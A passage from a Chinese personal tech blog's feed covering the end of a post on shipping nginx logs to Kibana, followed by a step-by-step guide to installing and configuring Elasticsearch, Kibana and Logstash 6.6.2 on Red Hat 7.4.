title="修改配置文件"></a>修改配置文件</h2><p>修改logstash的配置文件,使用来匹配HTTPD_COMMONLOG格式去匹配日志数据</p><p>另外也需要date插件来从字段中解析日期，然后用这个日期作为logstash中事件的时间戳（timestamp）。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# vim /usr/local/logstash-6.6.2/config/logstash.conf </span><br><span class="line"></span><br><span class="line">#填写以下信息</span><br><span class="line">input &#123;</span><br><span class="line">    file &#123;</span><br><span class="line">        path =&gt; &quot;/var/log/nginx/access.log&quot;   #填写nginx日志文件路径</span><br><span class="line">        type =&gt; &quot;nginxaccess&quot;                  #设置类型,名字容易辨识就好</span><br><span class="line">        start_position =&gt; &quot;beginning&quot;          #设置开始位置</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">filter &#123;</span><br><span class="line">    grok &#123;  </span><br><span class="line">      match =&gt; &#123; &quot;message&quot; =&gt; &quot;%&#123;HTTPD_COMBINEDLOG&#125;&quot; &#125; #匹配HTTPD_COMBINEDLOG信息</span><br><span class="line">    &#125;</span><br><span class="line">     date &#123;</span><br><span class="line">      match =&gt; [&quot;timestamp&quot;, &quot;dd/MMM/yyyy:HH:mm:ss Z&quot;] #匹配tomestamp</span><br><span class="line">      target =&gt; &quot;@timestamp&quot;     #覆盖@timestamp字段</span><br><span class="line">      &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">output &#123;                                     #输出到elasticsearch中</span><br><span class="line">    elasticsearch &#123;</span><br><span class="line">        hosts =&gt; [&quot;127.0.0.1:9200&quot;]</span><br><span class="line">        index =&gt; &quot;nginx-%&#123;+YYYY.MM.dd&#125;&quot;         #设置索引格式</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后运行logstash</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost logstash-6.6.2]# ./startup.sh</span><br></pre></td></tr></table></figure><h2 id="访问kibana"><a href="#访问kibana" class="headerlink" title="访问kibana"></a>访问kibana</h2><p>在浏览器访问kibana界面,可以看到刚刚所添加的nginx日志索引</p><p><img src="https://ae01.alicdn.com/kf/HTB1trPZbrus3KVjSZKb760qkFXaL.png" alt=""></p><p>然后去建一个pattern,成功匹配到刚刚创建的索引</p><p><img src="https://ae01.alicdn.com/kf/HTB1CO6Obv1H3KVjSZFH762KppXaL.png" alt=""></p><p>选时间戳,创建pattern</p><p><img src="https://ae01.alicdn.com/kf/HTB1PLDSbCWD3KVjSZSg763CxVXak.png" alt=""></p><p>然后在Discover模块选nginx-*</p><p><img src="https://ae01.alicdn.com/kf/HTB1i2TQbv1G3KVjSZFk761K4XXap.png" alt=""></p><p>便可以查看到nginx的日志啦</p><p><img src="https://ae01.alicdn.com/kf/HTB1i8jPbEKF3KVjSZFE760ExFXat.png" alt=""></p><p>查看客户端ip</p><p><img src="https://ae01.alicdn.com/kf/HTB1NwfRbBGE3KVjSZFh763kaFXaT.png" alt=""></p><p>查看请求信息</p><p><img src="https://ae01.alicdn.com/kf/HTB1tELPbEWF3KVjSZPh760clXXaG.png" alt=""></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="运维技术" scheme="https://louisnie.github.io/categories/%E8%BF%90%E7%BB%B4%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ELK" scheme="https://louisnie.github.io/tags/ELK/"/>
    
  </entry>
  
  <entry>
    <title>ELK安装部署</title>
    <link href="https://louisnie.github.io/2019/05/30/ELK%E5%AE%89%E8%A3%85/"/>
    <id>https://louisnie.github.io/2019/05/30/ELK安装/</id>
    <published>2019-05-29T16:25:28.000Z</published>
    <updated>2019-09-17T16:24:55.920Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">不断进步,直到羔羊变成雄狮!</blockquote></p><p><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=29539350&auto=0&height=66"></iframe></div></p><h2 id="ELK-Stack-简介"><a href="#ELK-Stack-简介" class="headerlink" title="ELK Stack 简介"></a>ELK Stack 简介</h2><p>ELK 不是一款软件，而是 Elasticsearch、Logstash 和 Kibana 三种软件产品的首字母缩写。这三者都是开源软件，通常配合使用，而且又先后归于 Elastic.co 公司名下，所以被简称为 ELK Stack。根据 Google Trend 的信息显示，ELK Stack 已经成为目前最流行的集中式日志解决方案。</p><ul><li>Elasticsearch：分布式搜索和分析引擎，具有高可伸缩、高可靠和易管理等特点。基于 Apache Lucene 构建，能对大容量的数据进行接近实时的存储、搜索和分析操作。通常被用作某些应用的基础搜索引擎，使其具有复杂的搜索功能；</li><li>Logstash：数据收集引擎。它支持动态的从各种数据源搜集数据，并对数据进行过滤、分析、丰富、统一格式等操作，然后存储到用户指定的位置；</li><li>Kibana：数据分析和可视化平台。通常与 Elasticsearch 配合使用，对其中数据进行搜索、分析和以统计图表的方式展示；</li><li>Filebeat：ELK 协议栈的新成员，一个轻量级开源日志文件数据搜集器，基于 Logstash-Forwarder 源代码开发，是对它的替代。在需要采集日志数据的 server 上安装 Filebeat，并指定日志目录或日志文件后，Filebeat 就能读取数据，迅速发送到 Logstash 进行解析，亦或直接发送到 Elasticsearch 进行集中式存储和分析。</li></ul><h2 id="Elasticsearch安装"><a href="#Elasticsearch安装" class="headerlink" title="Elasticsearch安装:"></a>Elasticsearch安装:</h2><h3 id="部署环境"><a href="#部署环境" class="headerlink" title="部署环境"></a>部署环境</h3><p>我当前系统为红帽7.4</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cat /etc/redhat-release </span><br><span class="line"></span><br><span class="line">Red Hat Enterprise Linux Server release 7.4 (Maipo)</span><br></pre></td></tr></table></figure><p>因为Elasticsearch需要Java8以上的版本,所以需要检查Java环境,redhat7的java环境是ok的,不需要进行额外配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# java -version </span><br><span class="line">openjdk version &quot;1.8.0_131&quot;     //java8又称jdk1.8 OpenJDK Runtime Environment (build 1.8.0_131-b12) OpenJDK 64-Bit Server VM (build 25.131-b12, mixed mode)</span><br></pre></td></tr></table></figure><h3 id="开始安装"><a href="#开始安装" class="headerlink" title="开始安装"></a>开始安装</h3><p>下载Elasticsearch,我这里用得是6.6.2版本</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]#  wget  https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.6.2.tar.gz</span><br><span class="line"></span><br><span class="line">[root@localhost local]# tar zxvf elasticsearch-6.6.2.tar.gz</span><br></pre></td></tr></table></figure><p>创建目录,用来保存系统文件和日志</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# mkdir -p /usr/local/elk/data </span><br><span class="line"></span><br><span class="line">[root@localhost ~]# mkdir  /usr/local/elk/logs</span><br></pre></td></tr></table></figure><h3 id="修改配置文件"><a href="#修改配置文件" class="headerlink" title="修改配置文件"></a>修改配置文件</h3><p>我们需要去修改其配置文件/usr/local/elasticsearch-6.6.2/config下的elasticsearch.yml文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# vim elasticsearch.yml</span><br><span class="line">#设置集群名</span><br><span class="line">cluster.name: my-cluster </span><br><span class="line"></span><br><span class="line">#设置节点名     </span><br><span class="line">node.name: node-1  </span><br><span class="line"></span><br><span class="line">#设置数据保存文件</span><br><span class="line">path.data: /usr/local/elk/data</span><br><span class="line"></span><br><span class="line">#设置日志保存文件</span><br><span class="line">path.logs: /usr/local/elk/logs</span><br><span class="line"></span><br><span class="line">#设置监听主机地址,允许任意主机均可访问</span><br><span class="line">network.host: 0.0.0.0</span><br><span class="line"></span><br><span class="line">#默认使用9200端口</span><br><span class="line">http.port: 9200</span><br></pre></td></tr></table></figure><p>然后去修改jvm.options配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# vim jvm.options </span><br><span class="line"></span><br><span class="line"> -Xms512m   #设置最小堆内存为512M</span><br><span class="line"></span><br><span class="line">-Xmx512m   #设置最大堆内存为512M</span><br></pre></td></tr></table></figure><p>因为elasticsearch不能使用root用户去打开,所以需要创建个elk用户,使用该用户去登陆</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# useradd elk</span><br><span class="line">[root@localhost local]# chown -R elk:elk elk</span><br><span class="line">[root@localhost local]# chown -R elk:elk elasticsearch-6.6.2/</span><br><span class="line">[root@localhost local]# su - elk</span><br><span class="line">[elk@localhost ~]$</span><br></pre></td></tr></table></figure><p>另外需要去修改系统配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# vim /etc/security/limits.conf</span><br><span class="line">#添加以下内容</span><br><span class="line">*       soft    nofile          65536</span><br><span class="line">*       hard    nofile          65536</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# vim /etc/sysctl.conf</span><br><span class="line">#添加以下内容</span><br><span class="line">vm.max_map_count=262144</span><br></pre></td></tr></table></figure><p>使其生效</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# sysctl -p   </span><br><span class="line">vm.max_map_count = 262144</span><br></pre></td></tr></table></figure><p>新开个连接,然后检测是否设置成功</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ulimit -Hn</span><br><span class="line">65536</span><br><span class="line">[root@localhost ~]# ulimit -Sn</span><br><span class="line">65536</span><br></pre></td></tr></table></figure><h3 id="启动服务"><a href="#启动服务" class="headerlink" title="启动服务"></a>启动服务</h3><p>接下来切换到elk用户去启动elasticsearch</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# su - elk </span><br><span class="line"></span><br><span class="line">上一次登录：五 5月 24 16:47:42 CST 2019pts/2 上 </span><br><span class="line"></span><br><span class="line">[elk@localhost ~]$ cd /usr/local/elasticsearch-6.6.2/bin/ </span><br><span class="line"></span><br><span class="line">[elk@localhost bin]$ ./elasticsearch</span><br></pre></td></tr></table></figure><p>通过访问本地的9200端口检查是否安装成功</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3iofamysjj30fa0fijrz.jpg" alt=""></p><p>但因为我们开启的elasticsearch是在终端中开启的,一旦终端关闭,那么该服务将关闭,所以我们需要让该程序在后台执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup /usr/local/elasticsearch-6.6.2/bin/elasticsearch &gt;&gt; /usr/local/elasticsearch-6.6.2/output.log 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><h3 id="后台运行"><a href="#后台运行" class="headerlink" title="后台运行"></a>后台运行</h3><p>我们可以将其做出shell脚本让其在后台去执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[elk@localhost elasticsearch-6.6.2]$ touch startup.sh</span><br><span class="line">[elk@localhost elasticsearch-6.6.2]$ vim startup.sh</span><br><span class="line">#将以下内容添加进去</span><br><span class="line">#! /bin/bash</span><br><span class="line">nohup /usr/local/elasticsearch-6.6.2/bin/elasticsearch &gt;&gt; /usr/local/elasticsearch-6.6.2/output.log 2&gt;&amp;1 &amp;</span><br><span class="line"></span><br><span class="line">#赋予权限</span><br><span class="line">[elk@localhost elasticsearch-6.6.2]$ chmod a+x startup.sh </span><br><span class="line">#执行脚本 </span><br><span class="line">[elk@localhost elasticsearch-6.6.2]$ ./startup.sh</span><br></pre></td></tr></table></figure><h3 id="关闭服务"><a href="#关闭服务" class="headerlink" title="关闭服务"></a>关闭服务</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">#找到其进程号 </span><br><span class="line"></span><br><span class="line">[elk@localhost elasticsearch-6.6.2]$ ps -ef | grep java  elk       18114      1  2 18:14 pts/1    00:00:54 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOcc </span><br><span class="line"></span><br><span class="line">#杀死进程 </span><br><span class="line"></span><br><span class="line">[elk@localhost elasticsearch-6.6.2]$ kill -9 18114</span><br></pre></td></tr></table></figure><p>进行一个简单的查询：</p><p>查看集群状态</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# curl http://192.168.89.137:9200/_cat/health?v</span><br><span class="line">epoch      timestamp cluster        status node.total node.data shards pri relo init unassign pending_tasks max_task_wait_time active_shards_percent</span><br><span class="line">1568737310 16:21:50  my-application green           1         1      0   0    0    0        0             0                  -                100.0%</span><br></pre></td></tr></table></figure><p>查看节点列表：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# curl http://192.168.89.137:9200/_cat/nodes?v</span><br><span class="line">ip             heap.percent ram.percent cpu load_1m load_5m load_15m node.role master name</span><br><span class="line">192.168.89.137           27          68   2    0.02    0.10     0.13 mdi       *      node-1</span><br></pre></td></tr></table></figure><p>查看索引列表</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# curl http://192.168.89.137:9200/_cat/indices?v</span><br><span class="line">health status index uuid pri rep docs.count docs.deleted store.size pri.store.size</span><br></pre></td></tr></table></figure><h2 id="Kibana安装"><a href="#Kibana安装" class="headerlink" title="Kibana安装"></a>Kibana安装</h2><h3 id="下载解压"><a href="#下载解压" class="headerlink" title="下载解压"></a>下载解压</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]#  wget  https://artifacts.elastic.co/downloads/kibana/kibana-6.6.2-linux-x86_64.tar.gz</span><br><span class="line">[root@localhost local]# tar zxvf kibana-6.6.2-linux-x86_64.tar.gz</span><br></pre></td></tr></table></figure><p>注:kibana可以和elasticsearch不在同一台机器上,可以用来做成集群</p><h3 id="修改配置文件-1"><a href="#修改配置文件-1" class="headerlink" title="修改配置文件"></a>修改配置文件</h3><p>修改该目录中config文件中的kibana.yml配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# vim kibana.yml </span><br><span class="line"></span><br><span class="line">#设置监听端口为5601</span><br><span class="line"></span><br><span class="line">server.port: 5601</span><br><span class="line"></span><br><span class="line">#设置可访问的主机地址</span><br><span class="line"></span><br><span class="line">server.host: &quot;0.0.0.0&quot;</span><br><span class="line"></span><br><span class="line">#设置elasticsearch主机地址</span><br><span class="line"></span><br><span class="line">elasticsearch.hosts: [&quot;http://localhost:9200&quot;]</span><br><span class="line"></span><br><span class="line">#如果elasticsearch设置了用户名密码,那么需要配置该两项,如果没配置,那就不用管</span><br><span class="line"></span><br><span class="line">#elasticsearch.username: &quot;user&quot;</span><br><span class="line"></span><br><span class="line">#elasticsearch.password: &quot;pass&quot;</span><br></pre></td></tr></table></figure><h3 id="后台启动服务"><a href="#后台启动服务" class="headerlink" title="后台启动服务"></a>后台启动服务</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost kibana-6.6.2-linux-x86_64]# vim startup.sh </span><br><span class="line">#添加以下内容</span><br><span class="line">#! /bin/bash</span><br><span class="line">nohup /usr/local/kibana-6.6.2-linux-x86_64/bin/kibana &gt;&gt; /usr/local/kibana-6.6.2-linux-x86_64/output.log 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><h3 id="访问服务"><a href="#访问服务" class="headerlink" title="访问服务"></a>访问服务</h3><p>通过浏览器访问本地的5601端口去使用kibana服务</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3iohc51l6j31b50n3445.jpg" alt=""></p><h3 id="关闭服务-1"><a href="#关闭服务-1" class="headerlink" title="关闭服务"></a>关闭服务</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost kibana-6.6.2-linux-x86_64]# ps -ef | grep kibana </span><br><span class="line">root       3080      1  1 22:16 pts/2    00:01:04 /usr/local/kibana-6.6.2-linux-x86_64/bin/../node/bin/node --no-warnings --max-http-header-size=65536 /usr/local/kibana-6.6.2-linux-x86_64/bin/../src/cli </span><br><span class="line">root       4245   2683  0 23:44 pts/2    00:00:00 grep --color=auto kibana  </span><br><span class="line"></span><br><span class="line">[root@localhost kibana-6.6.2-linux-x86_64]# kill -9 3080</span><br></pre></td></tr></table></figure><h2 id="Logstash安装"><a href="#Logstash安装" class="headerlink" title="Logstash安装"></a>Logstash安装</h2><h3 id="下载解压缩"><a href="#下载解压缩" class="headerlink" title="下载解压缩"></a>下载解压缩</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# wget https://artifacts.elastic.co/downloads/logstash/logstash-6.6.2.tar.gz </span><br><span class="line"></span><br><span class="line">[root@localhost logstash-6.6.2]# tar zxvf logstash-6.6.2.tar.gz</span><br></pre></td></tr></table></figure><p>修改配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# vim jvm.options  </span><br><span class="line"></span><br><span class="line">#修改如下 </span><br><span class="line"></span><br><span class="line">-Xms512m     #设置最小内存  </span><br><span class="line"></span><br><span class="line">-Xmx512m     #设置最大内存</span><br></pre></td></tr></table></figure><p>进入bin目录下运行程序,将日志信息输出到屏幕上</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost bin]# ./logstash -e &apos;input &#123;stdin&#123;&#125;&#125; output&#123;stdout&#123;&#125;&#125;&apos;</span><br></pre></td></tr></table></figure><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3ioifcd7lj31gv0i211m.jpg" alt=""></p><p>比如输入个hello,world然后回车,那么就会把结果输出到屏幕上</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3ioj9dve6j30n00740th.jpg" alt=""></p><h3 id="使用配置文件启动"><a href="#使用配置文件启动" class="headerlink" title="使用配置文件启动"></a>使用配置文件启动</h3><p>编辑主配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost logstash-6.6.2]# cd config/</span><br><span class="line">[root@localhost config]# mv logstash-sample.conf  logstash.conf</span><br><span class="line">[root@localhost config]# vim logstash.conf </span><br><span class="line">#删除其文件内容,添加以下内容</span><br><span class="line">input &#123;</span><br><span class="line">    # 从文件读取日志信息</span><br><span class="line">      file &#123;</span><br><span class="line">          path =&gt; &quot;/var/log/messages&quot;</span><br><span class="line">          type =&gt; &quot;system&quot;</span><br><span class="line">          start_position =&gt; &quot;beginning&quot;</span><br><span class="line">           &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">filter &#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">output &#123;</span><br><span class="line">      # 标准输出</span><br><span class="line">      stdout &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用主配置文件去启动程序</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost bin]# ./logstash -f ../config/logstash.conf</span><br></pre></td></tr></table></figure><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3iokg8fdjj31hc0gaguy.jpg" alt=""></p><h3 id="使用脚本启动"><a href="#使用脚本启动" class="headerlink" title="使用脚本启动"></a>使用脚本启动</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost logstash-6.6.2]# touch startup.sh</span><br><span class="line">[root@localhost logstash-6.6.2]# vim startup.sh</span><br><span class="line">#内容如下</span><br><span class="line">#!/bin/bash</span><br><span class="line">nohup /usr/local/logstash-6.6.2/bin/logstash -f /usr/local/logstash-6.6.2/config/logstash.conf &gt;&gt; /usr/local/logstash-6.6.2/output.log 2&gt;&amp;1 &amp;</span><br><span class="line"></span><br><span class="line">[root@localhost logstash-6.6.2]# chmod a+x startup.sh </span><br><span class="line">[root@localhost logstash-6.6.2]# ./startup.sh</span><br></pre></td></tr></table></figure><h3 id="logstash插件"><a href="#logstash插件" class="headerlink" title="logstash插件"></a>logstash插件</h3><p>logstash是通过插件对其功能进行加强</p><p>插件分类:</p><ul><li>inputs 输入</li><li>codecs 解码</li><li>filters 过滤</li><li>outputs 输出</li></ul><p>在Gemfile文件里记录了logstash的插件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost logstash-6.6.2]# cat Gemfile</span><br></pre></td></tr></table></figure><p>如果需要其他插件的话,那么需要去其github上的库下载插件,地址为:<a href="https://github.com/logstash-plugins" target="_blank" rel="noopener">https://github.com/logstash-plugins</a></p><p>使用filter插件logstash-filter-mutate</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# vim logstash2.conf </span><br><span class="line">#创建一个新的配置文件用来过滤 </span><br><span class="line">input &#123;</span><br><span class="line">    stdin &#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">filter &#123;</span><br><span class="line">   mutate &#123;</span><br><span class="line">        split =&gt; [&quot;message&quot;, &quot;|&quot;]</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">output &#123;</span><br><span class="line">    stdout &#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当输入sss|sssni|akok223|23即会按照|分隔符进行分隔</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3ioldkha1j30qn0b70u3.jpg" alt=""></p><p>其数据处理流程:input–&gt;解码–&gt;filter–&gt;解码–&gt;output</p><h2 id="ELK联动"><a href="#ELK联动" class="headerlink" title="ELK联动"></a>ELK联动</h2><p>我们需要使用logstash-output-elasticsearch插件将logstash日志信息收集到elasticsearch当中</p><h3 id="检查插件"><a href="#检查插件" class="headerlink" title="检查插件"></a>检查插件</h3><p>因为在logstash当中就存在elasticsearch的插件,那么就可以直接使用的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost logstash-6.6.2]# cat Gemfile |grep elasticsearch </span><br><span class="line"></span><br><span class="line">gem &quot;logstash-filter-elasticsearch&quot; </span><br><span class="line"></span><br><span class="line">gem &quot;logstash-input-elasticsearch&quot; </span><br><span class="line"></span><br><span class="line">gem &quot;logstash-output-elasticsearch&quot;</span><br></pre></td></tr></table></figure><h3 id="修改配置文件-2"><a href="#修改配置文件-2" class="headerlink" title="修改配置文件"></a>修改配置文件</h3><p>那么我们去写个配置文件,通过配置文件去将elasticsearch和logstash结合起来</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# vim logstash3.conf </span><br><span class="line"></span><br><span class="line">#填写以下内容 </span><br><span class="line">input &#123;</span><br><span class="line">    # 从文件读取日志信息</span><br><span class="line">    file &#123;</span><br><span class="line">        path =&gt; &quot;/var/log/messages&quot;</span><br><span class="line">        type =&gt; &quot;system&quot;</span><br><span class="line">        start_position =&gt; &quot;beginning&quot;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">filter &#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">output &#123;</span><br><span class="line">    elasticsearch &#123;</span><br><span class="line">        hosts =&gt; [&quot;127.0.0.1:9200&quot;]</span><br><span class="line">        index =&gt; &quot;msg-%&#123;+YYYY.MM.dd&#125;&quot;</span><br><span class="line">    